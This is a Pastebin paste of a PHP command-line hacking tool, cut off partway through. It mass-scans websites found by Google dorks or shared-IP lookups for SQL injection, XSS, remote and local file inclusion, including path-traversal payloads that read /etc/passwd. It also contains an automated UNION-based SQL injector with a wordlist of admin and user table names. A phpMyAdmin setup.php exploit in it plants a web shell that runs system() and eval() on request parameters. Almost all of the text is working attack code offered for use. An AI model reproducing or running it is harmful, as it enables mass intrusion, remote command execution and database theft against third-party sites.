bonekcok21

Website vulnerable scanner Tools 1.0

Aug 14th, 2016
995
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 39.43 KB | None | 0 0
  1. <?php
  2.  
  3. error_reporting(E_ALL & ~E_NOTICE);
  4.  
  5. Start();
  6.  
  7. function Start() {
  8.    
  9.     $list_command = array('help','sql','rfi','lfi','xss','full','google','getlist','jump','exploit','wget','quit', 'pmapwn','injector','hexstring','md5string','portscan',);
  10.    
  11.     print Logo();
  12.     Tips();
  13.     while(1) {
  14.         fwrite(STDOUT, "\n-CMD$: ");
  15.         $cmd = trim(fgets(STDIN));
  16.         if($cmd == 'full') {
  17.             fwrite(STDOUT, "\n-SITE: ");
  18.             $site = trim(fgets(STDIN));
  19.             if(empty($site)) {
  20.                 print "[Error]Please enter site URL\n";
  21.             } else {
  22.             full($site);
  23.             }
  24.         } else {
  25.         if(in_array($cmd, $list_command)) {
  26.         $cmd();
  27.         } else {
  28.             echo "[Error]Command not found\n";
  29.             Tips();
  30.         }
  31.        }
  32.     }
  33. }
  34.  
  35. function Logo() {
  36.  
  37. $text .= "|***************************************************************************************|\n";
  38. $text .= "        Website vulnerable scanner Tools 1.0 By XShimeX\n";
  39. $text .= "        Milw0rm Exploit Finder added by TweetyCoaster(Myanmar)\n";
  40. $text .= "        pmaPWN! - added by d3ck4, hackingexpose.blogspot.com\n";
  41. $text .= "        Greetz : d3ck4,XShimeX,TweetyCoaster,darkc0de,HM,TBDSec\n";
  42. $text .= "        19th June 2009\n";
  43. $text .= "|***************************************************************************************|\n";
  44. $text .= "\n";
  45. print $text;
  46. }
  47.  
  48.  
  49. function Help() {
  50.  
  51. $text .= "[sql] --------> Scan SQL Injection vulnerable\n";
  52. $text .= "[xss] --------> Scan XSS(cross site scripting) vulnerable\n";
  53. $text .= "[rfi] --------> Scan RFI(remote file include) vulnerable\n";
  54. $text .= "[lfi] --------> Scan LFI(local file include) vulnerable\n";
  55. $text .= "[pmapwn] -----> Scan phpMyAdmin code injection vulnerable\n";
  56. $text .= "[full] -------> Grab link from website and start all scan\n";
  57. $text .= "[google] -----> Grab website from google and start all scan\n";
  58. $text .= "[getlist] ----> Grab website from file and start all scan\n";
  59. $text .= "[jump] -------> Find all site hosted on same ip and start all scan\n";
  60. $text .= "[exploit] ----> Milw0rm Exploit Finder\n";
  61. $text .= "[injector] ---> Automatic SQL Injector, work for v4 and v5\n";
  62. $text .= "[hexstring] --> Convert string to hex (useful for sql injection)\n";
  63. $text .= "[md5string] --> Convert string to MD5 Hash\n";
  64. $text .= "[portscan] --> Check port open and close\n";
  65. $text .= "[wget] -------> Get file from URL\n";
  66. print $text;
  67. }
  68.  
  69. function Tips() {
  70.     print "[Tips] For help, type 'help' and to quit please type 'quit'\n";
  71. }
  72.  
  73. function full($site) {
  74.     print "[-] Start full scanning mode.\n";
  75.     pmapwn($site, 1);
  76.     print "[-] Start SQL Injection Scan\n";
  77.     sql($site, 1);
  78.     print "[-] Start XSS Scan\n";
  79.     xss($site, 1);
  80.     print "[-] Start RFI Scan\n";
  81.     rfi($site, 1);
  82.     print "[-] Start LFI Scan\n";
  83.     lfi($site, 1);
  84. }
  85.  
  86. function hexstring() {
  87.     fwrite(STDOUT, "-String: ");
  88.     $string = trim(fgets(STDIN));
  89.     print "[-] String: $string\n";
  90.     print "[-] Hex: ".HexValue($string)."\n";
  91. }
  92.  
  93. function portscan() {
  94.     fwrite(STDOUT, "-IP/Domain: ");
  95.     $host = trim(fgets(STDIN));
  96.     fwrite(STDOUT, "-Start Port: ");
  97.     $sport = trim(fgets(STDIN));
  98.     fwrite(STDOUT, "-End Port: ");
  99.     $eport = trim(fgets(STDIN));
  100.     print "[-] IP/Domain : $host\n";
  101.     $sport = intval($sport);
  102.     $eport = intval($eport);
  103.     print "[-] Checking...\n";
  104.     for($i = $sport; $i <= $eport; $i++) {
  105.         $check = @fsockopen($host, $i, $errno, $errstr, 3);
  106.         if($check) {
  107.             print "[-] Port '$i' is open\n";
  108.         }
  109.     }
  110.     print "[-] Done\n";
  111. }
  112.  
  113. function md5string() {
  114.     fwrite(STDOUT, "-String: ");
  115.     $string = trim(fgets(STDIN));
  116.     print "[-] String: $string\n";
  117.     print "[-] MD5: ".md5($string)."\n";
  118. }
  119.  
  120.  
  121. function jump() {
  122.    
  123.         fwrite(STDOUT, "-SITE: ");
  124.         $site = trim(fgets(STDIN));
  125.         $request = parse_url($site);
  126.         $jump_site = "http://www.ip-adress.com/reverse_ip/$request[host]";
  127.         $pattern = "/href=\"\/whois\/(.*?)\">Who(.*?)<\/a>/";
  128.         print "[-] URL : $request[host]\n";
  129.         print "[-] Path: $request[path]\n";
  130.         print "[-] Server IP: ".gethostbyname($request['host'])."\n";
  131.         print "[-] Get list domain hosted on the ip...\n";
  132.         $list = con_host($jump_site);
  133.         preg_match_all($pattern,$list, $links);
  134.         print "[-] Total site hosted on ".$request['host']." : ".count($links[1])."\n";
  135.         foreach($links[1] as $link) {
  136.         $link = "http://".$link;
  137.         save_log('domain_list.txt',"$link\n");
  138.         }
  139.         print "[-] Domain list save to 'domain_list.txt'\n";
  140.         foreach($links[1] as $link) {
  141.         $link = "http://".$link;
  142.         full($link);
  143.         joomla($link);
  144.         }
  145.        
  146. }
  147.  
  148. function google() {
  149.     fwrite(STDOUT, "-DORK: ");
  150.     $dork = trim(fgets(STDIN));
  151.     print "[-] Dork: $dork\n";
  152.     print "[-] Start google scanning...\n";
  153.     for($i = 0; $i <= 900; $i+=100) {
  154.         $fp = con_host("http://www.google.com/cse?cx=013269018370076798483%3Awdba3dlnxqm&q=$dork&num=100&hl=en&as_qdr=all&start=$i&sa=N");
  155.         @preg_match_all("/<h2 class=(.*?)><a href=\"(.*?)\" class=(.*?)>/", $fp, $links);
  156.         $res[] = $links[2];
  157.     }
  158.     foreach($res as $key) {
  159.         foreach($key as $target) {
  160.             $total++;
  161.         }
  162.     }
  163.     print "[+] Total site found: $total\n";
  164.     print "[+] Done finding link on google\n";
  165.     print "[!] If you found this not working pls notify us!\n";
  166.     foreach($res as $key) {
  167.         foreach($key as $target) {
  168.             $real = parse_url($target);
  169.             save_log('domain_list.txt',"http://".$real['host']."\n");
  170.         }
  171.     }
  172.     print "[-] Domain list save to 'domain_list.txt'\n";
  173.     foreach($res as $key) {
  174.         foreach($key as $target) {
  175.             full($target);
  176.         }
  177.     }
  178.    
  179. }
  180.  
  181. function getlist() {
  182.     fwrite(STDOUT, "-FILE: ");
  183.     $getfile = trim(fgets(STDIN));
  184.     $handle = fopen($getfile, "r");
  185. while (!feof($handle)) {
  186.     $line = fgets($handle);
  187.     $try = trim($line);
  188.     full($try);
  189.     }
  190.  
  191. fclose($handle);
  192. }
  193.  
  194. function joomla($site) {
  195.     if($content = con_host($site)) {
  196.         if(preg_match("/option=com_/", $content)) {
  197.             print "[-] Joomla site found: $site\n";
  198.         }
  199.     }
  200. }
  201.  
  202. function lfi($site = '', $full = '0') {
  203.     $list_lfi = array(
  204.         '../etc/passwd',
  205.         '../../etc/passwd',
  206.         '../../../etc/passwd',
  207.         '../../../../etc/passwd',
  208.         '../../../../../etc/passwd',
  209.         '../../../../../../etc/passwd',
  210.         '../../../../../../../etc/passwd',
  211.         '../../../../../../../../etc/passwd',
  212.         '../../../../../../../../../etc/passwd',
  213.         '../etc/passwd%00',
  214.         '../../etc/passwd%00',
  215.         '../../../etc/passwd%00',
  216.         '../../../../etc/passwd%00',
  217.         '../../../../../etc/passwd%00',
  218.         '../../../../../../etc/passwd%00',
  219.         '../../../../../../../etc/passwd%00',
  220.         '../../../../../../../../etc/passwd%00',
  221.         '../../../../../../../../../etc/passwd%00',
  222.     );
  223.         if($full == '0') {
  224.         fwrite(STDOUT, "\n-SITE: ");
  225.         $site = trim(fgets(STDIN));
  226.         } else {
  227.             $site = $site;
  228.         }
  229.        
  230.         $request = parse_url($site);
  231.         print "[-] URL : $request[host]\n";
  232.         print "[-] Path: $request[path]\n";
  233.         print "[-] Try connect to host\n";
  234.         $url = "".$request['scheme']."://".$request['host'].$request['path']."";
  235.         if(con_host($url))
  236.         {
  237.             print "[+] Connect to host successful\n";
  238.             print Get_Info($url);
  239.             print "[-] Finding link on the website\n";
  240.             print "[+] Found link : ".count(find_link($url))."\n";
  241.             print "[-] Finding vulnerable...\n";
  242.             if(is_array(find_link($url)))
  243.             foreach(find_link($url) as $link) {
  244.                 $file = explode("/", $request['path']);
  245.                 $request['path'] = preg_replace("/".$file[count($file)-1]."/", "", $request['path']);
  246.                 if(!preg_match("/$request[host]/", $link)) { $link = "http://$request[host]/$request[path]$link"; }
  247.                 foreach($list_lfi as $error) {
  248.                     $link = preg_replace("/=(.+)/", "=$error", $link);
  249.                     if(preg_match("/root:x:/", con_host($link))) {
  250.                         print "[-]LFI vulnerable : $link\n";
  251.                         $save[] = $link;
  252.                     }
  253.                 }
  254.             }
  255.             print "[-] Done\n";
  256.             if(is_array($save)) {
  257.                foreach($save as $link) {
  258.                save_log('vulnerable.log', "".$link."\r\n");
  259.                }}
  260.                print "[+] See 'vulnerable.log' for vulnerable list\n";
  261.     }
  262.   }
  263.  
  264.  
  265. function sql($site = '', $full = '0') {
  266.     $sql_error = array(
  267.         'You have an error in your SQL',
  268.         'Division by zero in',
  269.         'supplied argument is not a valid MySQL result resource in',
  270.         'Call to a member function',
  271.         'Microsoft JET Database','ODBC Microsoft Access Driver',
  272.         'Microsoft OLE DB Provider for SQL Server',
  273.         'Unclosed quotation mark',
  274.         'Microsoft OLE DB Provider for Oracle',
  275.         '[Macromedia][SQLServer JDBC Driver][SQLServer]Incorrect',
  276.         'Incorrect syntax near'
  277.     );
  278.         if($full == '0') {
  279.         fwrite(STDOUT, "\n-SITE: ");
  280.         $site = trim(fgets(STDIN));
  281.         } else {
  282.             $site = $site;
  283.         }
  284.        
  285.         $request = parse_url($site);
  286.         print "[-] URL : $request[host]\n";
  287.         print "[-] Path: $request[path]\n";
  288.         print "[-] Try connect to host\n";
  289.         $url = "".$request['scheme']."://".$request['host'].$request['path']."";
  290.         if(con_host($url))
  291.         {
  292.             print "[-] Connect to host successful\n";
  293.             print Get_Info($url);
  294.             print "[-] Finding link on the website\n";
  295.             print "[+] Found link : ".count(find_link($url))."\n";
  296.             print "[-] Finding vulnerable...\n";
  297.             if(is_array(find_link($url)))
  298.             foreach(find_link($url) as $link) {
  299.                 $file = explode("/", $request['path']);
  300.                 $request['path'] = preg_replace("/".$file[count($file)-1]."/", "", $request['path']);
  301.                 if(!preg_match("/$request[host]/", $link)) { $link = "http://$request[host]/$request[path]$link"; }
  302.                 $link = preg_replace("/=(.+)/", "=1'", $link);
  303.                 foreach($sql_error as $error) {
  304.                     if(preg_match("/$error/", con_host($link))) {
  305.                         print "[+] SQL Injection vulnerable : $link\n";
  306.                         $save[] = $link;
  307.                     }
  308.                 }
  309.             }
  310.             print "[+] Done\n";
  311.             if(is_array($save)) {
  312.                foreach($save as $link) {
  313.                save_log('vulnerable.log', "".$link."\r\n");
  314.                }}
  315.                print "[-] See 'vulnerable.log' for vulnerable list\n";
  316.     }
  317.   }
  318.  
  319.  
  320. function rfi($site = '', $full = '0') {
  321.    
  322.         if($full == '0') {
  323.         fwrite(STDOUT, "\n-SITE: ");
  324.         $site = trim(fgets(STDIN));
  325.         } else {
  326.             $site = $site;
  327.         }
  328.        
  329.         $request = parse_url($site);
  330.         print "[-] URL : $request[host]\n";
  331.         print "[-] Path: $request[path]\n";
  332.         print "[-] Try connect to host\n";
  333.         $url = "".$request['scheme']."://".$request['host'].$request['path']."";
  334.         if(con_host($url))
  335.         {
  336.             print "[-] Connect to host successful\n";
  337.             print Get_Info($url);
  338.             print "[-] Finding link on the website\n";
  339.             print "[+] Found link : ".count(find_link($url))."\n";
  340.             print "[-] Finding vulnerable...\n";
  341.             if(is_array(find_link($url)))
  342.             foreach(find_link($url) as $link) {
  343.                 $file = explode("/", $request['path']);
  344.                 $request['path'] = preg_replace("/".$file[count($file)-1]."/", "", $request['path']);
  345.                 if(!preg_match("/$request[host]/", $link)) { $link = "http://$request[host]/$request[path]$link"; }
  346.                 $link = preg_replace("/=(.+)/", "=http://google.com/index.html?", $link);
  347.                 if(preg_match("/Advertising&nbsp;Programs/", con_host($link))) {
  348.                     echo "[+] RFI vulnerable : $link\n";
  349.                     $save[] = $link;
  350.                 }
  351.             }
  352.            print "[+] Done\n";
  353.            if(is_array($save)) {
  354.            foreach($save as $link) {
  355.                save_log('vulnerable.log', "".$link."\r\n");
  356.            }}
  357.            print "[+] See 'vulnerable.log' for vulnerable list\n";
  358.            
  359.         } else {
  360.             print "[!] Connect to host failed\n";
  361.         }
  362.    }
  363.  
  364.  
  365. function xss($site = '', $full = '0') {
  366.    
  367.         if($full == '0') {
  368.         fwrite(STDOUT, "\n-SITE: ");
  369.         $site = trim(fgets(STDIN));
  370.         } else {
  371.             $site = $site;
  372.         }
  373.        
  374.         $request = parse_url($site);
  375.         print "[-] URL : $request[host]\n";
  376.         print "[-] Path: $request[path]\n";
  377.         print "[-] Try connect to host\n";
  378.         $url = "".$request['scheme']."://".$request['host'].$request['path']."";
  379.         if(con_host($url))
  380.         {
  381.             print "[+] Connect to host successful\n";
  382.             print Get_Info($url);
  383.             print "[-] Finding link on the website\n";
  384.             print "[+] Found link : ".count(find_link($url))."\n";
  385.             print "[-] Finding vulnerable...\n";
  386.             if(is_array(find_link($url)))
  387.             foreach(find_link($url) as $link) {
  388.                 $file = explode("/", $request['path']);
  389.                 $request['path'] = preg_replace("/".$file[count($file)-1]."/", "", $request['path']);
  390.                 if(!preg_match("/$request[host]/", $link)) { $link = "http://$request[host]/$request[path]$link"; }
  391.                 $link = preg_replace("/=(.+)/", "=<h1>XSS_HERE</h1>", $link);
  392.                 if(preg_match("/<h1>XSS_HERE<\/h1>/", con_host($link)))                             {
  393.                     echo "[+] XSS vulnerable : $link\n";
  394.                     $save[] = $link;
  395.                }
  396.             }
  397.            print "[+] Done\n";
  398.            if(is_array($save)) {
  399.            foreach($save as $link) {
  400.                save_log('vulnerable.log', "".$link."\r\n");
  401.            }}
  402.            print "[+] See 'vulnerable.log' for vulnerable list\n";
  403.            
  404.         } else {
  405.             print "[!] Connect to host failed\n";
  406.         }
  407.    }
  408.  
  409. /*
  410. Exploit function
  411. added by tweetycoaster 17-06-2009
  412. based on Bugs Exploit Finder V 1.0 2008 by DDOS
  413. Milw0rm Exploits Finder  V 0.1
  414. */
  415. function exploit() {
  416.  
  417.   fwrite(STDOUT, "-Exploit: ");
  418.         $script = trim(fgets(STDIN));
  419.         $url="http://www.milw0rm.com/search.php?dong=$script";
  420. print "[-] Connecting ...\n";
  421.         $dump=file_get_contents($url);
  422.         preg_match_all('#<td class="style14" nowrap="nowrap" width="62">(.*?)</td>#',$dump,$date);
  423.         preg_match_all('#target="_blank" class="style14">(.*?)</a></td>#',$dump,$exploit);
  424.         preg_match_all('#<td nowrap="nowrap" width="375"><a href="(.*?)" target="_blank" class="style14">#',$dump,$url);
  425. print "[+] Connected ! ! !\n";
  426. sleep(3);
  427. $lang=sizeof($date[1]);
  428.  
  429. for($i=0 ; $i < $lang ; $i++){
  430. $d=$i+1;
  431. print "\n";
  432. print "[+] Exploit Number : $d \n";
  433. save_log('exploits.log', "[+]Exploit Number : $d \r\n");
  434. print "[+] Exploit Name = ".$exploit[1][$i]."\n";
  435. save_log('exploits.log', "[+]Exploit Name = ".$exploit[1][$i]."\r\n");
  436. print "[+] Exploit URL  = http://www.milw0rm.com".$url[1][$i]."\r\n";
  437. save_log('exploits.log', "[+]Exploit URL  = http://www.milw0rm.com".$url[1][$i]."\r\n");
  438. print "[+] Exploit Date = ".$date[1][$i]."\n";
  439. save_log('exploits.log', "[+]Exploit Date = ".$date[1][$i]."\r\n");
  440. save_log('exploits.log', " ------------------------------- \r\n");
  441. $dd++;
  442. sleep(1.2);
  443.  
  444.                             }
  445.             print "\n\n";
  446.             print "[+] Done !\n\n";
  447.             print "[+] See 'exploits.log' for details list\n";
  448.                     }
  449.                    
  450. function pmapwn($site = '', $full = '0') {
  451. $list = array(
  452. '/phpmyadmin/',
  453. '/phpMyAdmin/',
  454. '/PMA/',
  455. '/pma/',
  456. '/admin/',
  457. '/dbadmin/',
  458. '/mysql/',
  459. '/myadmin/',
  460. '/phpmyadmin2/',
  461. '/phpMyAdmin2/',
  462. '/phpMyAdmin-2/',
  463. '/php-my-admin/',
  464. '/phpMyAdmin-2.2.3/',
  465. '/phpMyAdmin-2.2.6/',
  466. '/phpMyAdmin-2.5.1/',
  467. '/phpMyAdmin-2.5.4/',
  468. '/phpMyAdmin-2.5.5-rc1/',
  469. '/phpMyAdmin-2.5.5-rc2/',
  470. '/phpMyAdmin-2.5.5/',
  471. '/phpMyAdmin-2.5.5-pl1/',
  472. '/phpMyAdmin-2.5.6-rc1/',
  473. '/phpMyAdmin-2.5.6-rc2/',
  474. '/phpMyAdmin-2.5.6/',
  475. '/phpMyAdmin-2.5.7/',
  476. '/phpMyAdmin-2.5.7-pl1/',
  477. '/phpMyAdmin-2.6.0-alpha/',
  478. '/phpMyAdmin-2.6.0-alpha2/',
  479. '/phpMyAdmin-2.6.0-beta1/',
  480. '/phpMyAdmin-2.6.0-beta2/',
  481. '/phpMyAdmin-2.6.0-rc1/',
  482. '/phpMyAdmin-2.6.0-rc2/',
  483. '/phpMyAdmin-2.6.0-rc3/',
  484. '/phpMyAdmin-2.6.0/',
  485. '/phpMyAdmin-2.6.0-pl1/',
  486. '/phpMyAdmin-2.6.0-pl2/',
  487. '/phpMyAdmin-2.6.0-pl3/',
  488. '/phpMyAdmin-2.6.1-rc1/',
  489. '/phpMyAdmin-2.6.1-rc2/',
  490. '/phpMyAdmin-2.6.1/',
  491. '/phpMyAdmin-2.6.1-pl1/',
  492. '/phpMyAdmin-2.6.1-pl2/',
  493. '/phpMyAdmin-2.6.1-pl3/',
  494. '/phpMyAdmin-2.6.2-rc1/',
  495. '/phpMyAdmin-2.6.2-beta1/',
  496. '/phpMyAdmin-2.6.2-rc1/',
  497. '/phpMyAdmin-2.6.2/',
  498. '/phpMyAdmin-2.6.2-pl1/',
  499. '/phpMyAdmin-2.6.3/',
  500. '/phpMyAdmin-2.6.3-rc1/',
  501. '/phpMyAdmin-2.6.3/',
  502. '/phpMyAdmin-2.6.3-pl1/',
  503. '/phpMyAdmin-2.6.4-rc1/',
  504. '/phpMyAdmin-2.6.4-pl1/',
  505. '/phpMyAdmin-2.6.4-pl2/',
  506. '/phpMyAdmin-2.6.4-pl3/',
  507. '/phpMyAdmin-2.6.4-pl4/',
  508. '/phpMyAdmin-2.6.4/',
  509. '/phpMyAdmin-2.7.0-beta1/',
  510. '/phpMyAdmin-2.7.0-rc1/',
  511. '/phpMyAdmin-2.7.0-pl1/',
  512. '/phpMyAdmin-2.7.0-pl2/',
  513. '/phpMyAdmin-2.7.0/',
  514. '/phpMyAdmin-2.8.0-beta1/',
  515. '/phpMyAdmin-2.8.0-rc1/',
  516. '/phpMyAdmin-2.8.0-rc2/',
  517. '/phpMyAdmin-2.8.0/',
  518. '/phpMyAdmin-2.8.0.1/',
  519. '/phpMyAdmin-2.8.0.2/',
  520. '/phpMyAdmin-2.8.0.3/',
  521. '/phpMyAdmin-2.8.0.4/',
  522. '/phpMyAdmin-2.8.1-rc1/',
  523. '/phpMyAdmin-2.8.1/',
  524. '/phpMyAdmin-2.8.2/',
  525. '/sqlmanager/',
  526. '/mysqlmanager/',
  527. '/p/m/a/',
  528. '/PMA2005/',
  529. '/pma2005/',
  530. '/phpmanager/',
  531. '/php-myadmin/',
  532. '/phpmy-admin/',
  533. '/webadmin/',
  534. '/sqlweb/',
  535. '/websql/',
  536. '/webdb/',
  537. '/mysqladmin/',
  538. '/mysql-admin/',
  539. );
  540.  
  541.         if($full == '0') {
  542.         fwrite(STDOUT, "\n-SITE: ");
  543.         $site = trim(fgets(STDIN));
  544.         } else {
  545.             $site = $site;
  546.         }
  547.        
  548.         print "\n[!] pmaPWN! - phpMyAdmin Code Injection Exploit(PHP) by d3ck4\n\n";
  549.         print "[-] Site : ".$site."\n";
  550.         print "[-] Scanning phpMyAdmin, wait sec..\n";
  551.         foreach($list as $path) {
  552.         phpmyadmin_scan_site($site.$path);
  553.   }
  554. }
  555.  
  556. function phpmyadmin_scan_site($url) {
  557.     $ch = curl_init();
  558.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  559.     curl_setopt($ch, CURLOPT_HEADER, 1);
  560.     curl_setopt($ch, CURLOPT_URL, $url);
  561.     $result = curl_exec($ch);
  562.     curl_close($ch);
  563.     //print $url;
  564.     if (preg_match("/200 OK/", $result) and preg_match("/phpMyAdmin/", $result)) {
  565.         print "\n[!] w00t! w00t! Found phpMyAdmin [ ".$url." ]";
  566.         print "\n[-] Scanning vulnerable, wait sec..\n";
  567.         phpmyadmin_exploit_site($url);
  568.     }
  569. }
  570.  
  571. function phpmyadmin_exploit_site($url) {
  572.     $ch = curl_init();
  573.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  574.     curl_setopt($ch, CURLOPT_HEADER, 1);
  575.     curl_setopt($ch, CURLOPT_URL, $url."scripts/setup.php");
  576.     $result = curl_exec($ch);
  577.     curl_close($ch);
  578.     $ch2 = curl_init();
  579.     curl_setopt($ch2, CURLOPT_RETURNTRANSFER, 1);
  580.     curl_setopt($ch2, CURLOPT_HEADER, 1);
  581.     curl_setopt($ch2, CURLOPT_URL, $url."config/config.inc.php");
  582.     $result2 = curl_exec($ch2);
  583.     curl_close($ch2);
  584.     //print $url;
  585.     if (preg_match("/200 OK/", $result) and preg_match("/token/", $result) and preg_match("/200 OK/", $result2)) {
  586.         print "\n[!] w00t! w00t! Found possible phpMyAdmin vuln";
  587.         print "\n[-] Exploiting, wait sec..\n";
  588.         phpmyadmin_exploit($url);
  589.     }
  590.     else {
  591.         print "\n[-] Shit! no luck.. not vulnerable\n";
  592.     }
  593. }
  594.  
  595. function phpmyadmin_exploit($w00t) {
  596.         $useragent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 (.NET CLR 3.5.30729) "; //firefox
  597.         //first get cookie + token
  598.         $curl = curl_init();
  599.         curl_setopt($curl, CURLOPT_URL, $w00t."scripts/setup.php"); //URL
  600.         curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,20);
  601.         curl_setopt($curl, CURLOPT_USERAGENT, $useragent);
  602.         curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
  603.         curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
  604.         curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);        
  605.         curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); //return site as string
  606.         curl_setopt($curl, CURLOPT_COOKIEFILE, "expoitcookie.txt");
  607.         curl_setopt($curl, CURLOPT_COOKIEJAR, "exploitcookie.txt");
  608.         $result = curl_exec($curl);
  609.         curl_close($curl);
  610.         if (preg_match_all("/token\"\s+value=\"([^>]+?)\"/", $result, $matches));
  611.        
  612.         $token = $matches[1][1];
  613.         if ($token != '') {
  614.         print "\n[!] w00t! w00t! Got token = " . $matches[1][1];
  615.         $payload = "token=".$token."&action=save&configuration=a:1:{s:7:%22Servers%22%3ba:1:{i:0%3ba:6:{s:136:%22host%27%5d=%27%27%3b%20if(\$_GET%5b%27c%27%5d){echo%20%27%3cpre%3e%27%3bsystem(\$_GET%5b%27c%27%5d)%3becho%20%27%3c/pre%3e%27%3b}if(\$_GET%5b%27p%27%5d){echo%20%27%3cpre%3e%27%3beval(\$_GET%5b%27p%27%5d)%3becho%20%27%3c/pre%3e%27%3b}%3b//%22%3bs:9:%22localhost%22%3bs:9:%22extension%22%3bs:6:%22mysqli%22%3bs:12:%22connect_type%22%3bs:3:%22tcp%22%3bs:8:%22compress%22%3bb:0%3bs:9:%22auth_type%22%3bs:6:%22config%22%3bs:4:%22user%22%3bs:4:%22root%22%3b}}}&eoltype=unix";
  616.         print "\n[-] Sending evil payload mwahaha.. \n";
  617.         $curl = curl_init();
  618.         curl_setopt($curl, CURLOPT_URL, $w00t."scripts/setup.php");
  619.         curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,20);
  620.         curl_setopt($curl, CURLOPT_USERAGENT, $useragent);
  621.         curl_setopt($curl, CURLOPT_REFERER, $w00t);
  622.         curl_setopt($curl, CURLOPT_POST, true);
  623.         curl_setopt($curl, CURLOPT_POSTFIELDS, $payload);
  624.         curl_setopt($curl, CURLOPT_COOKIEFILE, "expoitcookie.txt");
  625.         curl_setopt($curl, CURLOPT_COOKIEJAR, "exploitcookie.txt");
  626.         curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 3);
  627.         curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
  628.         curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  629.         curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
  630.         $result = curl_exec($curl);
  631.         curl_close($curl);
  632.        
  633.         print "\n[!] w00t! w00t! You should now have shell here";
  634.         print "\n[+] ".$w00t."config/config.inc.php?c=id \n";
  635.         save_log('pmashell.txt', $w00t."config/config.inc.php?c=id\r\n");
  636.         }
  637.         else {
  638.             print "\n[!] Shit! no luck.. not vulnerable\n";
  639.             return false;
  640.         }
  641.         print "See 'pmashell.txt' for the list\n";
  642.         if (file_exists('exploitcookie.txt')) { unlink('exploitcookie.txt'); }
  643.     }
  644.  
  645.  
  646.  
  647. function injector() {
  648.        
  649.         fwrite(STDOUT, "\n-URL: ");
  650.         $url = trim(fgets(STDIN));
  651.         fwrite(STDOUT, "\n-URL Ending (-- or /*): ");
  652.         $end = trim(fgets(STDIN));
  653.         if(!preg_match("/darkc0de/", $url)) {
  654.             print "[-] Please insert 'darkc0de' token on the URL\n";
  655.             print "[-] Example: http://site.com/news.php?id=darkc0de\n";
  656.             print "[-] Example: http://site.com/index.php?id=darkc0de&pg=news\n";
  657.         } else {
  658.        
  659.         switch($end) {
  660.             case '--' :
  661.             $end = '--';
  662.             break;
  663.             case '/*' :
  664.             $end = '/*';
  665.             break;
  666.             default:
  667.             $end = '--';
  668.             break;
  669.         }
  670.        
  671.         print "[-] URL : $url\n";
  672.         print "[%] Trying connect to host...\n";
  673.         if(con_host($url))
  674.         {
  675.             print "[+] Connect to host successful\n";
  676.             print Get_Info($url);
  677.             print "[-] Finding column number...\n";
  678.             inject_get_column_num($url, $end);
  679.            
  680.         } else {
  681.             print "[!] Connect to host failed\n";
  682.         }}
  683. }
  684.  
  685.  
  686. function inject_get_column_num($url, $ending) {
  687.  
  688.     $max = 100;
  689.     $stop = 0;
  690.    
  691.     $rurl = $url;
  692.    
  693.     for($i = 0; $i <= $max; $i++) {
  694.     $word .= "concat(0x6461726B63306465,0x3a,".str_repeat($i,1).",0x3a),";
  695.     $sql = str_replace("darkc0de", "1+AND+1=2+UNION+ALL+SELECT+".rtrim($word,",")."+$ending", $url);
  696.     if(preg_match("/darkc0de:(.*?):/i", con_host($sql), $val)) {
  697.         print "[-] Found column number: ".$i."\n";
  698.         print "[-] Null Number: ".$val[1]."\n";
  699.         save_log('injector.txt', "[-] Found column number: ".$i."\r\n");
  700.         save_log('injector.txt', "[-] Null Number: ".$val[1]."\r\n");
  701.        
  702.         for($a = 0; $a <= $i; $a++) {
  703.         $col .= "$a,";
  704.          if($a == $val[1]) {
  705.              $col = str_replace($val[1], "darkc0de", $col);
  706.          }
  707.         }
  708.         $real = str_replace("darkc0de", "1+AND+1=2+UNION+ALL+SELECT+".rtrim($col,",")."+$ending", $rurl);
  709.         print "[-] URL: ".$real."\n";
  710.         save_log('injector.txt', "[-] URL: ".$real."\r\n");
  711.         sql_info($real);
  712.     }
  713.   }
  714. }
  715.  
  716. function sql_info($url) {
  717.    
  718.     $table_4 = array(
  719.     'tbladmins','sort','_wfspro_admin','4images_users','a_admin','account','accounts','adm','admin','admin_login','admin_user','admin_userinfo','administer','administrable','administrate','administration','administrator','administrators','adminrights','admins','adminuser','art','article_admin','articles','artikel','å¯†ç ','aut','author','autore','backend','backend_users','backenduser','bbs','book','chat_config','chat_messages','chat_users','client','clients','clubconfig','company','config','contact','contacts','content','control','cpg_config','cpg132_users','customer','customers','customers_basket','dbadmins','dealer','dealers','diary','download','Dragon_users','e107.e107_user','e107_user','forum.ibf_members','fusion_user_groups','fusion_users','group','groups','ibf_admin_sessions','ibf_conf_settings','ibf_members','ibf_members_converge','ibf_sessions','icq','images','index','info','ipb.ibf_members','ipb_sessions','joomla_users','jos_blastchatc_users','jos_comprofiler_members','jos_contact_details','jos_joomblog_users','jos_messages_cfg','jos_moschat_users','jos_users','knews_lostpass','korisnici','kpro_adminlogs','kpro_user','links','login','login_admin','login_admins','login_user','login_users','logins','logon','logs','lost_pass','lost_passwords','lostpass','lostpasswords','m_admin','main','mambo_session','mambo_users','manage','manager','mb_users','member','memberlist','members','minibbtable_users','mitglieder','movie','movies','mybb_users','mysql','mysql.user','name','names','news','news_lostpass','newsletter','nuke_authors','nuke_bbconfig','nuke_config','nuke_popsettings','nuke_users','用户','obb_profiles','order','orders','parol','partner','partners','passes','password','passwords','perdorues','perdoruesit','phorum_session','phorum_user','phorum_users','phpads_clients','phpads_config','phpbb_users','phpBB2.forum_users','phpBB2.phpbb_users','phpmyadmin.pma_table_info','pma_table_info','poll_user','punbb_users','pwd','pwds','reg_user','reg_users','registered','reguser','regusers','session','sessions','settings','shop.cards','shop.orders','site_login','site_logins','sitelogin','sitelogins','sites','smallnuke_members','smf_members','SS_orders','statistics','superuser','sysadmin','sysadmins','system','sysuser','sysusers','table','tables','tb_admin','tb_administrator',